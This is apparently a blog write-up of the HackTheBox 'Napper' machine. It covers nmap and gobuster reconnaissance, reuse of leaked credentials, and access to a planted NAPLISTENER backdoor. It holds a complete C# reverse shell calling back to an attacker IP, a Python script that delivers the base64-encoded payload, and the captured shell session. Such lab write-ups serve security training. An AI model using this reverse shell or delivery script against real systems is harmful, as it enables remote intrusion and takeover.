Home HackTheBox - Napper
Post
Cancel

HackTheBox - Napper

This box starts off with a hugo blog about reverse engineering.

homepage

Reconnaissance

The nmap doesn’t result doesn’t provide any interesting results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ nmap -sC -sV -oN nmap_result 10.10.11.240
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-15 15:17 CET
Nmap scan report for 10.10.11.240
Host is up (0.024s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp open  ssl/http Microsoft IIS httpd 10.0
|_http-generator: Hugo 0.112.3
| http-methods: 
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after:  2033-06-04T14:58:55
|_http-title: Research Blog | Home 
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2023-11-15T14:18:01+00:00; +2s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.68 seconds

While browsing on the blog, we noticed some hardcoded credentials in one of the posts which could be interesting later on.

password

A subdomain scan with gobuster, does reveal an “internal” subdomain, with arguments:

  • --append-domain: Append main domain from URL to words from wordlist. Otherwise the fully qualified domains need to be specified in the wordlist.
  • -k: Skip TLS certificate verification
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ gobuster vhost -w ~/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u https://napper.htb/ --append-domain -k
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             https://napper.htb/
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /home/kali/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/11/15 15:26:01 Starting gobuster in VHOST enumeration mode
===============================================================
Found: internal.napper.htb Status: 401 [Size: 1293]
Progress: 4952 / 4990 (99.24%)
===============================================================
2023/11/15 15:26:19 Finished
===============================================================

Foothold

We can use the found credentials to log into the internal blog.

internal

We can see one blog post containing “malware research notes”. The blog post is about a C# malware called “NAPLISTENER”.

In the blog post, the writer explains that the backdoor is up and running in their sandbox.

1
2
3
4
5
6
7
8
9
10
11
12
13
# Log

- 2023-04-24: Did some more reading up. We need to look for some URL and a special parameter
- 2023-04-23: Starting the RE process. Not sure on how to approach.
- 2023-04-22: Nothing seems to be showing up in the sandbox, i just startes and stops again. Will be testing local
- 2023-04-22: Got the copy of the backdoor, running in sandbox

# References

- https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
- https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener
- https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep

By going through the references, we can find a proof-of-concept script that will allow us to access that backdoor.

malware

The sandbox seems to respond to a curl request which does the request of the proof-of-concept.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ curl -k -v --request POST -d "sdafwe3rwe23=exploit" https://napper.htb/ews/MsExgHealthCheckd/
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.240:443...
* Connected to napper.htb (10.10.11.240) port 443 (#0)
* using HTTP/2
* h2h3 [:method: POST]
* h2h3 [:path: /ews/MsExgHealthCheckd/]
* h2h3 [:scheme: https]
* h2h3 [:authority: napper.htb]
* h2h3 [user-agent: curl/7.88.1]
* h2h3 [accept: */*]
* h2h3 [content-length: 20]
* h2h3 [content-type: application/x-www-form-urlencoded]
* Using Stream ID: 1 (easy handle 0x55572b68da40)
> POST /ews/MsExgHealthCheckd/ HTTP/2
> Host: napper.htb
> user-agent: curl/7.88.1
> accept: */*
> content-length: 20
> content-type: application/x-www-form-urlencoded
> 
* We are completely uploaded and fine
< HTTP/2 200 
< content-length: 0
< content-type: text/html; charset=utf-8
< server: Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0
< x-powered-by: ASP.NET
< date: Wed, 15 Nov 2023 14:31:51 GMT
< 
* Connection #0 to host napper.htb left intact

We can now try to upload a reverse shell.

We need to create a C# reverse shell, compile it with msc and base64 encode it to send it through the proof-of-concept mentioned above.

1. C# Reverse Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Text;

namespace MessageBox
{
  internal class Program
  {
    static StreamWriter streamWriter;

    public static void BackConnect(string ip, int port)
    {
        using (TcpClient client = new TcpClient(ip, port))
        {
            using (Stream stream = client.GetStream())
            {
                using (StreamReader rdr = new StreamReader(stream))
                {
                    streamWriter = new StreamWriter(stream);

                    StringBuilder strInput = new StringBuilder();

                    Process p = new Process();
                    p.StartInfo.FileName = "cmd.exe";
                    p.StartInfo.CreateNoWindow = true;
                    p.StartInfo.UseShellExecute = false;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.RedirectStandardInput = true;
                    p.StartInfo.RedirectStandardError = true;
                    p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                    p.Start();
                    p.BeginOutputReadLine();

                    while (true)
                    {
                        strInput.Append(rdr.ReadLine());
                        p.StandardInput.WriteLine(strInput);
                        strInput.Remove(0, strInput.Length);
                    }
                }
            }
        }
    }

    private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!string.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception) { }
        }
    }

    static void Main()
    {
        new Run();
    }
  }

  public class Run
  {
    public Run()
    {
        Program.BackConnect("10.10.14.87", 1234);
    }
  }
}

2. Compile .cs to a binary

We can compile the messagebox.cs file to a binary called messagebox.exe. One thing to note is that the namespace needs to match the filename and that we include a Run class. We then encode that binary and send it to our clipboard as it is a huge blob of encoded data.

1
2
$ mcs messagebox.cs
$ cat messagebox.exe | base64 -w 0| xclip -sel clip

Proof-of-Concept script

We can now insert our blob of encoded data from our clipboard in the payload variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


hosts = ["napper.htb"]
payload = "BASE64_OF_BINARY_HERE"
form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:
   url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

   try:
       status_code = 0
       while status_code != 200:
           r_ssl = requests.post(url_ssl, data=form_field, verify=False, auth=("example", "ExamplePassword"))
           print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
           print(f"{r_ssl.request.data}")
           status_code = r_ssl.status_code
           time.sleep(1)
   except KeyboardInterrupt:
       exit()
   except Exception as e:
       print("e")
       pass

When we execute the script, we get a connection on our listener.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python3 exploit.py                               
https://napper.htb/ews/MsExgHealthCheckd/ : 200 {'Content-Length': '0', 'Content-Type': 'text/html; charset=utf-8', 'Server': 'Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0', 'X-Powered-By': 'ASP.NET', 'Date': 'Wed, 15 Nov 2023 15:15:17 GMT'}

$ nc -lvnp 1234
...
C:\Users\ruben\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is CB08-11BF
 Directory of C:\Users\ruben\Desktop
11/15/2023  07:06 AM    <DIR>          .
11/15/2023  07:06 AM    <DIR>          ..
06/07/2023  06:02 AM             2,352 Microsoft Edge.lnk
11/15/2023  07:06 AM            94,879 runascs.exe
11/15/2023  05:50 AM                34 user.txt
               3 File(s)         97,265 bytes
               2 Dir(s)   3,319,488,512 bytes free
type user.txt
C:\Users\ruben\Desktop>type user.txt
a296**REDACTED**4c51
This post is licensed under CC BY 4.0 by the author.